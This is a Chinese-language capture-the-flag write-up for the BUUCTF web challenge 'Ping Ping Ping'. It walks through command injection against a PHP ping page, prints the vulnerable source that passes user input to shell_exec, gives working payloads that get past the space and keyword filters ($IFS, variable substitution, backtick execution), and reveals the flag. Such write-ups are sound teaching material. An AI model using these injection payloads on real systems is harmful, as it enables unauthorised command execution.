[GXYCTF2019]Ping Ping Ping

发布时间 2023-07-18 11:36:34作者: y0Zero

[GXYCTF2019]Ping Ping Ping

题目来源:buuctf

题目类型:web

涉及考点:命令执行

1. 题目页面如下:

我们将其作为参数传入,/?ip=127.0.0.1,回显如下:

接下来通过命令行查看目录:/?ip=127.0.0.1;ls

2. 发现了flag.php,直接查看

/?ip=127.0.0.1;cat flag.php

发现空格被过滤了,我们采取以下几种常见的绕过方法:

$IFS
${IFS}
$IFS$1		//1可以换成任意数字
<
<>

绕过空格之后发现flag也被过滤了:

还是查看一下index.php,看看有什么线索:

/?ip=127.0.0.1;cat$IFS$1index.php

可以看到一连串的过滤规则

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
      //过滤 & / ? * < x{00}到x{20} > ' " \ ( ) [ ] { }
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
      //过滤 空格
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
      //过滤 bash
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
      //过滤 flag(严格来说,是字符串中,flag依序出现的都被过滤)
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

3. 接下来尝试绕过

法一:

思路是通过变量覆盖来实现,具体做法:

将 flag 中的 g 赋值给变量 a,在命令行中用 fla$a 来表示 flag,构造的payload如下:

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

F12检查发现了flag:

法二:

通过内联执行,让 ls 作为cat的参数传入,即可绕过flag:

/?ip=127.0.0.1;cat$IFS$1`ls`

同样在源码中看到flag:

内联执行:即一个命令的结果作为另一个命令的参数使用

flag{0e459f07-aff4-4d6a-bea9-115e1309b55e}

日期:2023.7.18

作者:y0Zero